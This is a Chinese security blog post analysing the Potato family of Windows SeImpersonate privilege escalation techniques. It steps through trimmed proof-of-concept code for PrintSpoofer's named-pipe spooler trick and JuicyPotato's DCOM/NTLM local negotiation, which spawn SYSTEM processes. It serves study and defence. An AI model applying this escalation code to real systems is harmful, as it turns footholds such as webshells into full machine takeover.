记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Potato家族本地提权细节

2020-05-26 13:07

本文结合POC源码,研究Potato家族本地提权细节

Feature or vulnerability

该提权手法的前提是拥有SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege权限,以下用户拥有SeImpersonatePrivilege权限(而只有更高权限的账户比如SYSTEM才有SeAssignPrimaryTokenPrivilege权限):

  • 本地管理员账户(不包括管理员组普通账户)和本地服务帐户
  • 由SCM启动的服务

P.s. 本机测试时即使在本地策略中授予管理员组普通用户SeImpersonatePrivilege特权,在cmd.exe中whoami /priv也不显示该特权,且无法利用;而SeAssignPrimaryTokenPrivilege特权则可以正常授予普通用户

Windows服务的登录账户

  1. Local System(NT AUTHORITY\System)
    • It has the highest level of permissions on the local system.
    • If the client and the server are both in a domain, then the Local System account uses the PC account (hostname$) to login on the remote computer.
    • If the client or the server is not in a domain, then the Local System account uses ANONYMOUS LOGON.
  2. Network Service(NT AUTHORITY\Network Service)
    • It has permissions as an unpriviledge normal user on the local system.
    • When accessing the network, it behaves the same as the Local System account.
  3. Local Service(NT AUTHORITY\Local Service)
    • It has permissions as an unpriviledge normal user on the local system.
    • It always uses ANONYMOUS LOGON, whether a computer is in a domain or not.

也就是说该提权是

  • Administrator -> SYSTEM
  • Service -> SYSTEM

服务账户在Windows权限模型中本身就拥有很高的权限,所以微软不认为这是一个漏洞

但理论还得结合实际,实际渗透时是很有用的。常见场景下,拿到IIS的WebShell,或通过SQLi执行xp_cmdshell,此时手里的服务账户在进行操作时等同于是个低权限账户,而使用该提权手法可以直接获取SYSTEM权限

SeImpersonate & SeAssignPrimaryToken Privilege

if you have SeAssignPrimaryToken or SeImpersonatePrivilege, you are SYSTEM

Windows的token是描述安全上下文的对象,用户登录系统后就会生成token,创建新进程或新线程时这个token会被不断拷贝

Token成员:

用户账户的(SID)
用户所属的组的SID
用于标识当前登陆会话的登陆SID
用户或用户组所拥有的权限列表
所有者SID
所有者组的SID
访问控制列表
访问令牌的来源
主令牌/模拟令牌
限制SID的可选列表
模拟等级:
Anonymous: server无法模拟或识别client
Identification: 可识别client的身份和特权,不能模拟
Impersonation: 可在本地系统模拟
Delegation: 可在远程系统上模拟
C:\WINDOWS\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
=============================== =========================================== =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled

CreateProcessWithTokenW签名

WINADVAPI
_Must_inspect_result_ BOOL
WINAPI
CreateProcessWithTokenW(
_In_ HANDLE hToken,
_In_ DWORD dwLogonFlags,
_In_opt_ LPCWSTR lpApplicationName,
_Inout_opt_ LPWSTR lpCommandLine,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCWSTR lpCurrentDirectory,
_In_ LPSTARTUPINFOW lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);

当用户具有SeImpersonatePrivilege特权,则可以调用CreateProcessWithTokenW以某个Token的权限启动新进程

CreateProcessAsUserW签名

WINADVAPI
BOOL
WINAPI
CreateProcessAsUserW(
_In_opt_ HANDLE hToken,
_In_opt_ LPCWSTR lpApplicationName,
_Inout_opt_ LPWSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCWSTR lpCurrentDirectory,
_In_ LPSTARTUPINFOW lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);

当用户具有SeAssignPrimaryTokenPrivilege特权,则可以调用CreateProcessAsUserW以hToken权限启动新进程

为什么会有一系列Impersonate函数,微软本意是让高权限服务端可以模拟低权限客户端来执行操作以提高安全性,但被攻击者反向使用了

How to get a high-privilege token

Potato家族使用了一系列的手段

Origin Potato

repo: https://github.com/foxglovesec/Potato

最初的Potato是WPAD或LLMNR/NBNS投毒(细节部分还需要使用DNS exhaust的手段来使DNS解析失败从而走广播LLMNR/NBNS),让某些高权限系统服务请求自己监听的端口,并要求NTLM认证,然后relay到本地的SMB listener

这个提权其实跟今天要讲的关系不大,因为它本质是个跨协议(HTTP -> SMB)的reflection NTLM relay

一方面relay攻击对有SMB签名的系统无效,且之后微软通过在lsass中缓存来缓解relay回自身的攻击

RottenPotato & JuicyPotato

repo: https://github.com/ohpe/juicy-potato

这两种不同于初始的Potato,它是通过DCOM call来使服务向攻击者监听的端口发起连接并进行NTLM认证

Rotten Potato和Juicy Potato几乎是同样的原理,后者在前者的基础上完善,所以后文细节部分就以JuicyPotato来讲

When a DCOM object is passed to an out of process COM server the object reference is marshalled in an OBJREF stream. For marshal-by-reference this results in an OBJREF_STANDARD stream being generated which provides enough information to the server to locate the original object and bind to it. Along with the identity for the object is a list of RPC binding strings (containing a TowerId and a string). This can be abused to connect to an arbitrary TCP port when an unmarshal occurs by specifying the tower as NCACN_IP_TCP and a string in the form “host[port]”. When the object resolver tries to bind the RPC port it will make a TCP connection to the specified address and if needed will try and do authentication based on the security bindings.

If we specify the NTLM authentication service in the bindings then the authentication will use basic NTLM. We just need to get a privileged COM service to unmarshal the object, we could do this on a per-service basis by finding an appropriate DCOM call which takes an object, however we can do it generically by abusing the activation service which takes a marshalled IStorage object and do it against any system service (such as BITS).

从project-zero扒来的图

JuicyPotato通过传递BITS的CLSID和IStorage对象实例给CoGetInstanceFromIStorage函数,使rpcss激活BITS服务,随后rpcss的DCOM OXID resolver会解析序列化数据中的OBJREF拿到DUALSTRINGARRAY字段,该字段指定了host[port]格式的location,绑定对象时会向其中的host[port]发起DCE/RPC(Distributed Computing Environment)请求。这个host[port]由攻击者监听的,如果攻击者要求NTLM身份验证,高权限服务就会发送net-NTLM进行认证

看到这里是不是觉得好像和Potato差不多,依然是NTLM relay的套路,只是换了种让高权限服务请求我们的方式。其实JuicyPotato后面的操作也不同,它拿到net-NTLM后会通过SSPI的AcceptSecurityContext函数进行本地NTLM协商,最终拿到一个高权限的impersonation级别token,然后通过CreateProcessWithTokenW来启动新进程

另外,我们知道NTLM是个嵌入协议,DCOM调用发送的是DCE/RPC协议。我们只需要处理内部的NTLM SSP部分,所以该POC在本地NTLM协商的同时还会同时relay到本机的RPC 135端口来获取当前系统合法的RPC报文,后面的过程就只需要替换RPC报文中的NTLM SSP部分即可

DCOM协议文档:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0

PrintSpoofer (or PipePotato or BadPotato)

你问我它为啥有三个名字?最初公开POC的老外叫它PrintSpoofer,之后360的paper叫它PipePotato,然后GitHub一个国人的POC又叫它BadPotato。尊重第一个公开POC的作者,后文叫它PrintSpoofer

该POC是2020.5公开的,它是通过Windows named pipe的一个API: ImpersonateNamedPipeClient来模拟高权限客户端的token(还有类似的ImpersonatedLoggedOnUserRpcImpersonateClient函数),调用该函数后会更改当前线程的安全上下文(其实已经不是什么新技术了)

The ImpersonateNamedPipeClient function allows the server end of a named pipe to impersonate the client end. When this function is called, the named-pipe file system changes the thread of the calling process to start impersonating the security context of the last message read from the pipe. Only the server end of the pipe can call this function.

这个POC有趣的地方在于,它利用了打印机组件路径检查的BUG,使SYSTEM权限服务能连接到攻击者创建的named pipe

spoolsv.exe服务有一个公开的RPC服务,里面有以下函数

DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 
/* [in] */ PRINTER_HANDLE hPrinter,
/* [in] */ DWORD fdwFlags,
/* [in] */ DWORD fdwOptions,
/* [unique][string][in] */ wchar_t *pszLocalMachine,
/* [in] */ DWORD dwPrinterLocal,
/* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)

pszLocalMachine参数需要传递UNC路径,传递\\127.0.0.1时,服务器会访问\\127.0.0.1\pipe\spoolss,但这个管道已经被系统注册了,如果我们传递\\127.0.0.1\pipe则因为路径检查而报错

但当传递\\127.0.0.1/pipe/foo时,校验路径时会认为127.0.0.1/pipe/foo是主机名,随后在连接named pipe时会对参数做标准化,将/转化为\,于是就会连接\\127.0.0.1\pipe\foo\pipe\spoolss,攻击者就可以注册这个named pipe从而窃取client的token


这个POC启动新进程是使用CreateProcessAsUser而不是CreateProcessWithToken

作者使用AsUser而不是WithToken的原因和我猜的一样,用CreateProcessAsUserW是为了能在当前console执行,做到interactive。我测试时就发现了传递给CreateProcessWithTokenlpEnvironment参数似乎被忽略了,永远会启动新console,作者在issue里说这是个bug

只有前面调用ImpersonateNamedPipeClient时需要SeImpersonatePrivilege特权,调用成功线程切换到SYSTEM安全上下文,此时调用CreateProcessAsUserW时caller和authticator是相同的,就不需要SeAssignPrimaryTokenPrivilege权限

理论是这样,但实际上我在Windows Server 2012 r2的DC上测试时,域内LocalSystem登录账户是hostname$,该账户没有SeAssignPrimaryTokenPrivilege,EXP返回1314 error(提给作者的issue: https://github.com/itm4n/PrintSpoofer/issues/1)

之后作者增加了一层check,当CreateProcessAsUser失败后会fallback回CreateProcessWithToken,不过CreateProcessWithToken无法做到interactive

RoguePotato

repo: https://github.com/antonioCoco/RoguePotato

这个也是利用了命名管道

微软修补后,高版本Windows DCOM解析器不允许OBJREF中的DUALSTRINGARRAY字段指定端口号。为了绕过这个限制并能做本地令牌协商,作者在一台远程主机上的135端口做流量转发,将其转回受害者本机端口,并写了一个恶意RPC OXID解析器

RPC支持的协议

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/472083a9-56f1-4d81-a208-d18aef68c101

RPC transportRPC protocol sequence string
SMBncacn_np (see section 2.1.1.2)
TCP/IP (both IPv4 and IPv6)ncacn_ip_tcp (see section 2.1.1.1)
UDPncadg_ip_udp (see section 2.1.2.1)
SPXncacn_spx (see section 2.1.1.3)
IPXncadg_ipx (see section 2.1.2.2)
NetBIOS over IPXncacn_nb_ipx (see section 2.1.1.4)
NetBIOS over TCPncacn_nb_tcp (see section 2.1.1.5)
NetBIOS over NetBEUIncacn_nb_nb (see section 2.1.1.6)
AppleTalkncacn_at_dsp (see section 2.1.1.7)
RPC over HTTPncacn_http (see section 2.1.1.8)

但作者实践过程中发现ncacn_ip_tcp返回的是识别令牌,之后受到PrintSpoofer启发,使用ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper]让RPCSS连接

不出网的情况下就只能在内网打下一台,相比之下有些局限

作者paper:https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/

SweetPotato

repo: https://github.com/CCob/SweetPotato

COM/WinRM/Spoolsv的集合版,也就是Juicy/PrintSpoofer

WinRM的方法是作者文章https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/中提到的,当WinRM在当前系统未启用时,攻击者监听本机5985端口,BITS服务会向WinRM 5985发起NTLM认证

Details

我希望掌握POC的细节,所以会结合代码分析PrintSpooferJuicyPotato内部的:

  • CreateProcessWithTokenW & CreateProcessAsUserW
  • Named pipe ImpersonateNamedPipeClient
  • 触发DCOM call -- CoGetInstanceFromIStorage
  • SSPI本地NTLM协商 -- AcceptSecurityContext

为了突出重点,后面代码会删除错误处理,参数处理等,只保留骨干

PrintSpoofer

主函数中的流程非常清晰

// 探测是否存在SeImpersonatePrivilege,并enable
CheckAndEnablePrivilege(NULL, SE_IMPERSONATE_NAME);

// 生成随机UUID作pipe name
GenerateRandomPipeName(&pwszPipeName);

// 创建named pipe
// 这个管道是异步的(OVERLAPPED I/O),
// 因为内部调用CreateNamedPipe创建时设置了FILE_FLAG_OVERLAPPED
hSpoolPipe = CreateSpoolNamedPipe(pwszPipeName);

// 调用named pipe server的ConnectNamedPipe等待client连接
// 创建event并返回,后面用来做同步(异步回调)
hSpoolPipeEvent = ConnectSpoolNamedPipe(hSpoolPipe);

// 创建新线程,调用RpcOpenPrinter连接named pipe
hSpoolTriggerThread = TriggerNamedPipeConnection(pwszPipeName);

// 等待spoolsv连接
dwWait = WaitForSingleObject(hSpoolPipeEvent, 5000);

// ImpersonateNamedPipeClient + CreateProcessAsUserW
GetSystem(hSpoolPipe);

CheckAndEnablePrivilege

CheckAndEnablePrivilege中首先获取当前进程token

调用了两次GetTokenInformation,这是win32api编程的惯例,第一次传递的LPVOID为NULL,此时会返回ERROR_INSUFFICIENT_BUFFER,函数会将所需的buffer大小写入ReturnLength参数指向的地址(&dwTokenPrivilegesSize),这样就可以获知所需的buffer大小并动态分配了

OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken);

if (!GetTokenInformation(hToken, TokenPrivileges, NULL, dwTokenPrivilegesSize, &dwTokenPrivilegesSize)) {
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
wprintf(L"GetTokenInformation() failed. Error: %d\n", GetLastError());
goto cleanup;
}
}

pTokenPrivileges = (PTOKEN_PRIVILEGES)malloc(dwTokenPrivilegesSize);
if (!pTokenPrivileges)
goto cleanup;

if (!GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenPrivilegesSize, &dwTokenPrivilegesSize)) {
wprintf(L"GetTokenInformation() failed. Error: %d\n", GetLastError());
goto cleanup;
}

后面遍历了token的所有privilege并查询所需的是否存在,查询到后会调用AdjustTokenPrivileges启用

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL);

CreateSpoolNamedPipe

CreateSpoolNamedPipe创建命名管道,先创建了安全描述符,设置允许任何客户端访问

InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL);

后面创建named pipe时设置了FILE_FLAG_OVERLAPPED,也就是Windows中OVERLAPPED I/O的概念

为什么是OVERLAPPED,它的意思是CPU操作和I/O操作可以重叠,其实也就是异步I/O。这个模型是对每个I/O操作创建一个新线程,性能较差,所以Windows后面有了IOCP

StringCchPrintf(pwszPipeFullname, MAX_PATH, L"\\\\.\\pipe\\%ws\\pipe\\spoolss", pwszPipeName);
hPipe = CreateNamedPipe(pwszPipeFullname, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);

CreateNamedPipe的签名

WINBASEAPI
HANDLE
WINAPI
CreateNamedPipeW(
_In_ LPCWSTR lpName,
_In_ DWORD dwOpenMode,
_In_ DWORD dwPipeMode,
_In_ DWORD nMaxInstances,
_In_ DWORD nOutBufferSize,
_In_ DWORD nInBufferSize,
_In_ DWORD nDefaultTimeOut,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

ConnectSpoolNamedPipe启动了named pipe server的accept,创建event并传递。正常情况下ConnectNamedPipe是个阻塞操作,但前文设置了OVERLAPPED I/O,故会直接返回,操作是否完成直接查询event即可

OVERLAPPED ol = { 0 };
hPipeEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
ol.hEvent = hPipeEvent;
ConnectNamedPipe(hPipe, &ol)

TriggerNamedPipeConnection

TriggerNamedPipeConnection创建新线程,调用RpcRemoteFindFirstPrinterChangeNotificationEx连接named pipe

CreateThread(NULL, 0, TriggerNamedPipeConnectionThread, pwszPipeName, 0, &dwThreadId);

// TriggerNamedPipeConnectionThread
StringCchPrintf(pwszTargetServer, MAX_PATH, L"\\\\%ws", pwszComputerName);
StringCchPrintf(pwszCaptureServer, MAX_PATH, L"\\\\%ws/pipe/%ws", pwszComputerName, pwszPipeName);

RpcTryExcept
{
if (RpcOpenPrinter(pwszTargetServer, &hPrinter, NULL, &devmodeContainer, 0) == RPC_S_OK)
{
RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, PRINTER_CHANGE_ADD_JOB, 0, pwszCaptureServer, 0, NULL);
RpcClosePrinter(&hPrinter);
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
// Expect RPC_S_SERVER_UNAVAILABLE
}
RpcEndExcept;

接着等待5s,然后调用GetSystem

ImpersonateNamedPipeClient

GetSystem

首先调用ImpersonateNamedPipeClient,调用成功后当前线程的安全上下文切换为client token的安全上下文

ImpersonateNamedPipeClient(hPipe);

注意切换的是线程的上下文,所以这里调用CreateProcess还是用原进程的上下文

CreateProcessA function

Creates a new process and its primary thread. The new process runs in the security context of the calling process.

If the calling process is impersonating another user, the new process uses the token for the calling process, not the impersonation token. To run the new process in the security context of the user represented by the impersonation token, use the CreateProcessAsUser or CreateProcessWithLogonW function.

接着获取当前线程安全上下文的令牌

OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken);

DuplicateTokenEx

复制一个新的,使用了DuplicateTokenEx创建primary令牌,如果是DuplicateToken的话只能创建impersonation令牌,后面就不能调用CreateProcessAsUser

为什么要复制令牌,一方面是需要primary令牌,另一方面CreateProcessXXX的第一个入参必须有以下权限TOKEN_QUERY, TOKEN_DUPLICATE, TOKEN_ASSIGN_PRIMARY,通过DuplicateToken直接赋予复制的令牌ALL_ACCESS

DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup);

如果通过CLI传递了sessionID的话,就在指定的session中开启新进程,高版本Windows中通过qwinsta查看

if (g_dwSessionId)
SetTokenInformation(hSystemTokenDup, TokenSessionId, &g_dwSessionId, sizeof(DWORD));

下面这一段做了一些创建新进程的细节配置,删掉也能执行

WinSta0\\Default是交互window station唯一的名字

dwCreationFlags = CREATE_UNICODE_ENVIRONMENT;
dwCreationFlags |= g_bInteractWithConsole ? 0 : CREATE_NEW_CONSOLE;
GetSystemDirectory(pwszCurrentDirectory, MAX_PATH);
CreateEnvironmentBlock(&lpEnvironment, hSystemTokenDup, FALSE);

STARTUPINFO si = { 0 };
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = const_cast<wchar_t*>(L"WinSta0\\Default");

CreateProcessAsUserW & CreateProcessWithTokenW

最后调用CreateProcessAsUserW启动新进程

CreateProcessAsUserW(hSystemTokenDup, NULL, g_pwszCommandLine, NULL, NULL, g_bInteractWithConsole, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi);

调用CreateWithTokenW也是一样

CreateProcessWithTokenW(hSystemTokenDup, 0, NULL, g_pwszCommandLine, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi)

配置项一下几个必填,CreateProcessWithTokenW必定会启动新console,在某些操作时非常不方便,解决的话只能创建父子进程间的匿名管道接收输出(比如T00ls上WebShell版JuicyPotato就是这个原理)

CreateProcessAsUserW(hSystemTokenDup, NULL, g_pwszCommandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
CreateProcessWithTokenW(hSystemTokenDup, 0, NULL, g_pwszCommandLine, 0, NULL, NULL, &si, &pi);

JuicyPotato

JuicyPotato的流程相对更复杂

PotatoAPI* test = new PotatoAPI();

// 创建新线程监听,处理COM service的NTLM认证过程
test->startCOMListenerThread();

// 创建新线程同时中继到RPC
test->startRPCConnectionThread();
test->triggerDCOM();


// 获取当前进程token
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

// enable privilege
EnablePriv(hToken, SE_IMPERSONATE_NAME);
EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);

// 通过SecurityContext获取access token
QuerySecurityContextToken(test->negotiator->phContext, &elevated_token);

// 复制token
DuplicateTokenEx(
elevated_token,
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
TokenPrimary,
&duped_token);

if (*processtype == 't' || *processtype == '*')
CreateProcessWithTokenW(duped_token, 0, processname, processargs, 0, NULL, NULL, &si, &pi);

if (*processtype == 'u' || *processtype == '*')
CreateProcessAsUserW(duped_token, processname, command, nullptr, nullptr, FALSE, 0, nullptr, L"C:\\", &si, &pi);

PotatoAPI类定义

class PotatoAPI {
private:
BlockingQueue<char*>* comSendQ;
BlockingQueue<char*>* rpcSendQ;
static DWORD WINAPI staticStartRPCConnection(void * Param);
static DWORD WINAPI staticStartCOMListener(void * Param);
static int newConnection;
int processNtlmBytes(char* bytes, int len);
int findNTLMBytes(char * bytes, int len);

public:
PotatoAPI(void);
int startRPCConnection(void);
DWORD startRPCConnectionThread();
DWORD startCOMListenerThread();
int startCOMListener(void);
int triggerDCOM();
LocalNegotiator *negotiator;
SOCKET ListenSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
SOCKET ConnectSocket = INVALID_SOCKET;
};

startCOMListener

开启新线程监听COM server端口,默认随机

WinSock编程, 设置了端口复用,然后bind and listen;用select做多路复用

WSAStartup(MAKEWORD(2, 2), &wsaData);

struct addrinfo hints;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;

getaddrinfo(NULL, dcom_port, &hints, &result);
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);

setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));

bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
listen(ListenSocket, SOMAXCONN);

select(ListenSocket + 1, &fds, NULL, NULL, &timeout);
if (FD_ISSET(ListenSocket, &fds))
ClientSocket = accept(ListenSocket, NULL, NULL);

accept到client后做NTLM认证,常规的循环recv结构

先调用processNtlmBytes做本地协商

iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);

// 处理NTLM type1 ~ type3
processNtlmBytes(recvbuf, iResult);

processNtlmBytes中调用findNTLMBytes找到RPC报文中NTLMSPP header的起始偏移(就是一个直白的子串匹配)

然后调用negotiator成员handle NTLM message,后文详细讲

switch (messageType) {
case 1:
//NTLM type 1 message
negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc);
break;
case 2:
//NTLM type 2 message
negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc);
break;
case 3:
//NTLM type 3 message
negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc);
break;
default:
...
}

接下来是中继过程,需要将COM service发来的数据中继到RPC端口

连接RPC的socket在startRPCConnection操作,两个线程间用了两个send queue通讯,所以这里将对RPC socket的send/recv转化为push(rpcSendQ)/pop(comSendQ)

发送后阻塞等待接收RPC响应报文

rpcSendQ->push((char*)&iResult);
rpcSendQ->push(recvbuf);

int* len = (int*)comSendQ->wait_pop();
sendbuf = comSendQ->wait_pop();

依旧接收到后处理NTLM认证,一般来说这里是type2。处理完后回发给client

processNtlmBytes(sendbuf, *len);
iSendResult = send(ClientSocket, sendbuf, *len, 0);

结束一轮循环,这里的细节作者给了注释

//Sometimes Windows likes to open a new connection instead of using the current one
//Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming
newConnection = checkForNewConnection(&ListenSocket, &ClientSocket);

startRPCConnection

开启新线程来连接本机RPC 135PORT

ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);

这个线程就单纯做了COM service到RPC的中继转发

rpcSendQ->wait_pop();
sendbuf = rpcSendQ->wait_pop();

send(ConnectSocket, sendbuf, *len, 0);
recv(ConnectSocket, recvbuf, recvbuflen, 0);

triggerDCOM & IStorageTrigger

// 在当前线程初始化COM库,并将并发模型标识为单线程
CoInitialize(nullptr);

// 创建复合文件存储对象,该对象实现了IStorage接口
CreateILockBytesOnHGlobal(NULL, true, &lb);
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);

IStorage接口的定义,文件内的层次存储结构,storage相当于directory,stream相当于file

The IStorage interface supports the creation and management of structured storage objects. Structured storage allows hierarchical storage of information within a single file, and is often referred to as "a file system within a file". Elements of a structured storage object are storages and streams. Storages are analogous to directories, and streams are analogous to files. Within a structured storage there will be a primary storage object that may contain substorages, possibly nested, and streams. Storages provide the structure of the object, and streams contain the data, which is manipulated through the IStream interface.

The IStorage interface provides methods for creating and managing the root storage object, child storage objects, and stream objects. These methods can create, open, enumerate, move, copy, rename, or delete the elements in the storage object.

接着new一个IStorageTrigger对象,该对象把stg包装了一层,实现了IStorage和IMarshal接口

IStorageTrigger* t = new IStorageTrigger(stg);

重点看IStorageTrigger::MarshalInterface,该方法返回序列化后的数据,此处写入RPC绑定字符串,来使COM Service连接我们COM Server

这一串操作是在把ascii字符串转成UTF16并计算转换后长度,我寻思为啥不用MultiByteToWideChar

unsigned short str_bindlen = ((strlen(ipaddr) + port_len + 2) * 2) + 6;
unsigned short total_length = (str_bindlen + sec_len) / 2;
unsigned char sec_offset = str_bindlen / 2;
port_len = port_len * 2;

byte *dataip;
int len = strlen(ipaddr) * 2;
dataip = (byte *)malloc(len);
for (int i = 0; i < len; i++) {
if (i % 2)
dataip[i] = *ipaddr++;
else
dataip[i] = 0;
}

byte *data_3;
data_3 = (byte *)malloc((port_len));
byte *strport = (byte *)&dcom_port[0];

for (int i = 0; i < (port_len); i++) {
if (i % 2)
data_3[i] = *strport++;
else
data_3[i] = 0;
}

后面就是生成序列化数据,并调用入参IStream的Write方法写入,IStorage序列化细节我就不细究了

回到triggerDCOM函数,调用CoGetInstanceFromIStorage加载BITS对象,将激活BITS服务器并序列化IStorageTrigger对象传递,内部的OXID resolver会连接指定的RPC绑定地址,并进行NTLM认证

CLSID clsid;
CLSIDFromString(olestr, &clsid);
CLSID tmp;
//IUnknown IID
CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);
MULTI_QI qis[1];
qis[0].pIID = &tmp;
qis[0].pItf = NULL;
qis[0].hr = 0;

HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);

LocalNegotiator::handleType1

整个协商过程就是两次调用SSPI的AcceptSecurityContexthttps://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-acceptsecuritycontext

AcquireCredentialsHandle获取security principal中预先存在的凭据句柄,InitializeSecurityContextAcceptSecurityContext需要此句柄

AcquireCredentialsHandle(NULL, lpPackageName, SECPKG_CRED_INBOUND, NULL, NULL, 0, NULL, &hCred, &ptsExpiry);

第一次调用AcceptSecurityContext,输入NTLM type1,输出NTLM type2。入参secClientBufferDesc,出参secServerBufferDesc,保存在LocalNegotiator的私有成员

phContext为新的security context句柄,有状态,第二次调用需要传递它

第一次调用成功返回值是SEC_I_CONTINUE_NEEDED(The function succeeded. The server must send the output token to the client and wait for a returned token. The returned token should be passed in pInput for another call to AcceptSecurityContext (CredSSP).)

InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);

secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
secClientBuffer.pvBuffer = ntlmBytes;

AcceptSecurityContext(
&hCred,
nullptr,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);

LocalNegotiator::handleType2

处理RPC发来的NTLM type2,将RPC响应中的NTLM type2修改为AcceptSecurityContext本地协商返回的type2,也就是修改server challenge和reserved

char* newNtlmBytes = (char*)secServerBuffer.pvBuffer;

if (len >= secServerBuffer.cbBuffer) {
for (int i = 0; i < len; i++) {
if (i < secServerBuffer.cbBuffer) {
ntlmBytes[i] = newNtlmBytes[i];
}
else {
ntlmBytes[i] = 0x00;
}
}
}

LocalNegotiator::handleType3

第二次调用AcceptSecurityContext,输入NTLM type3

完成整个协商过程,传入DCOM发来的response和第一次调用AcceptSecurityContextphContext

AcceptSecurityContext(
&hCred,
phContext,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);

此时NTLM协商完成,phContext句柄已经是DCOM服务的security context

ImpersonateToken

后面没啥好说的了,调用QuerySecurityContextToken从security context中获取token

QuerySecurityContextToken(test->negotiator->phContext, &elevated_token);

然后和前文一样调用CreateProcessASUser/CreateProcessWithToken创建进程

Detailed question

通过学习基本掌握了所有细节,只有最后一个细节问题,如果有路过的大佬知道请发email告诉我 : )

JuicyPotato中,通过CoGetInstanceFromIStorage函数使rpcss服务激活指定的CLSID的COM服务,rpcss的OXID resolver会解析序列化的IStorage实例并请求OBJREF中指定host[port],由此攻击者可以mitm,这是前提

但按我的理解,传递给CoGetInstanceFromIStorage的CLSID参数仅仅是告知rpcss激活哪个COM服务,而OXID resolve是由rpcss发出的,也就是说最终通过SSPI本地令牌协商拿到的令牌应该是rpcss的,和CLSID无关

但实际情况是,通过指定不同的CLSID,最终令牌权限也不同。比如Windows Server 2008 r2下,这个CLSID最终是当前登录用户的权限{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

MSDN的解释也无法获知细节:

Creates a new object and initializes it from a storage object through an internal call to IPersistFile::Load.

那么一个可能的解释是,如果指定BITS的CLSID,该函数先创建BITS对象,然后将IStorage参数传递给BITS服务让其自行解析,BITS服务调用rpcss的OXID resolver去解析OBJREF,rpcss会模拟client(例如调用RpcImpersonateClient),最终协商出的令牌权限也就是client的(存疑)

Ref


知识来源: xz.aliyun.com/t/7776

阅读:64498 | 评论:0 | 标签:提权

想收藏或者和大家分享这篇好文章→复制链接地址

